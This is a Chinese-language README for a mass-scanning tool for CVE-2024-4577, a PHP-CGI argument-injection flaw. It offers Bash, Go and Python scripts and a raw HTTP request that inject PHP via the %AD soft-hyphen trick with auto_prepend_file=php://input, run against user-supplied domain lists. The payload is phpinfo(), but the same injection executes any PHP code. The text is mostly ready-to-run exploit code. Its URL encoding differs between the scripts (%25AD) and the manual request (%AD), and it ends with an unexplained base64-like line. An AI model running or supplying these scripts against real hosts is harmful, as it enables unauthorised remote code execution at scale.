CVE-2024-4577 PHP-CGI 参数注入漏洞批量检测工具
本项目提供了针对 CVE-2024-4577(PHP-CGI 参数注入漏洞)的完整检测方案。该漏洞允许攻击者通过构造特殊的查询参数,在 PHP-CGI 模式下执行任意 PHP 代码。工具包包含 Bash、Go 和 Python 三种语言实现,支持批量检测多个目标域名,帮助安全团队快速评估资产风险。
功能特性
- 多语言实现:提供 Bash、Go、Python 三种脚本,适配不同运行环境
- 批量检测:从文本文件读取域名列表,自动遍历检测
- 并发控制:Go 和 Python 版本支持并发请求,提高检测效率(默认最大并发 10)
- 结果分类:清晰输出每个域名的是否存在漏洞(Vulnerable / Not Vulnerable)
- 安静模式:Python 版本支持
--quiet参数,仅输出存在漏洞的目标 - 真实 PoC:利用
php://input作为代码注入点,通过phpinfo()验证漏洞存在
安装指南
系统要求
- Bash 脚本:Linux/macOS 环境,需安装
curl - Go 脚本:Go 1.16+ 环境(或直接使用编译好的二进制)
- Python 脚本:Python 3.6+,需安装
requests库
安装步骤
1. Bash 脚本
无需安装,直接赋予执行权限即可:
chmod +x CVE-2024-4577.sh
2. Go 脚本
方式一:直接编译
go build -o CVE-2024-4577 CVE-2024-4577.go
方式二:直接运行
go run CVE-2024-4577.go domains.txt
3. Python 脚本
安装依赖库:
pip install requests
使用说明
准备域名列表
创建一个文本文件(如 domains.txt),每行一个目标地址,需包含协议前缀:
http://example.com
https://testsite.com
http://vulnerablesite.com
Bash 脚本使用
./CVE-2024-4577.sh domains.txt
执行后会逐个测试域名,输出格式示例:
Testing http://example.com...
http://example.com: Vulnerable
Testing https://testsite.com...
https://testsite.com: Not Vulnerable
Go 脚本使用
./CVE-2024-4577 domains.txt
脚本会并发测试(最大 10 个并发),输出结果:
Testing http://example.com...
http://example.com: Vulnerable
Testing https://testsite.com...
https://testsite.com: Not Vulnerable
Python 脚本使用
基础用法(输出所有结果):
python CVE-2024-4577.py domains.txt
安静模式(仅输出存在漏洞的主机):
python CVE-2024-4577.py domains.txt --quiet
手动验证 PoC
如需手动测试单个目标,可发送以下 HTTP 请求:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
<?php phpinfo(); ?>
若响应中包含 PHP Version 字符串,则说明存在漏洞。
Nuclei 模板使用
项目还提供了 Nuclei YAML 模板,可使用以下命令扫描:
nuclei -t CVE-2024-4577.yaml -u <target-url>
核心代码
Go 版本核心检测逻辑
func checkVulnerability(domain string, wg *sync.WaitGroup, results chan<- string) {
defer wg.Done()
// 构造漏洞利用 URL(参数注入点)
url := fmt.Sprintf("%s/index.php?%%25ADd+allow_url_include%%3D1+%%25ADd+auto_prepend_file%%3Dphp://input", domain)
payload := []byte("<?php phpinfo(); ?>")
client := &http.Client{Timeout: 10 * time.Second}
req, _ := http.NewRequest("POST", url, bytes.NewBuffer(payload))
// 设置必要请求头
req.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req)
if err != nil {
results <- fmt.Sprintf("%s: Error making request: %v", domain, err)
return
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
// 检测响应中是否包含 PHP 版本信息
if bytes.Contains(body, []byte("PHP Version")) {
results <- fmt.Sprintf("%s: Vulnerable", domain)
} else {
results <- fmt.Sprintf("%s: Not Vulnerable", domain)
}
}
Python 版本核心检测逻辑
def check_vulnerability(domain, quiet):
# 构造漏洞 URL(使用 %AD 字符绕过过滤)
url = f"{domain}/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input"
headers = {
"User-Agent": "curl/8.3.0",
"Content-Type": "application/x-www-form-urlencoded",
}
data = "<?php phpinfo(); ?>"
try:
response = requests.post(url, headers=headers, data=data, timeout=10, verify=False)
# 通过响应内容判断漏洞是否存在
if "PHP Version" in response.text:
print(f"{domain}: Vulnerable")
elif not quiet:
print(f"{domain}: Not Vulnerable")
except requests.RequestException as e:
if not quiet:
print(f"{domain}: Error making request: {e}")
Bash 版本核心检测逻辑
check_vulnerability() {
local domain=$1
# 使用 curl 发送 POST 请求,注入 PHP 代码
local response=$(curl -s -X POST "${domain}/index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "<?php phpinfo(); ?>" \
--max-time 10)
# 检测响应中是否包含 PHP 版本标识
if [[ $response == *"PHP Version"* ]]; then
echo "$domain: Vulnerable"
else
echo "$domain: Not Vulnerable"
fi
}
6HFtX5dABrKlqXeO5PUv/9elo/E1/AcQX67L44Fcf+tDUnfTj7SZMheu/a4qJqqN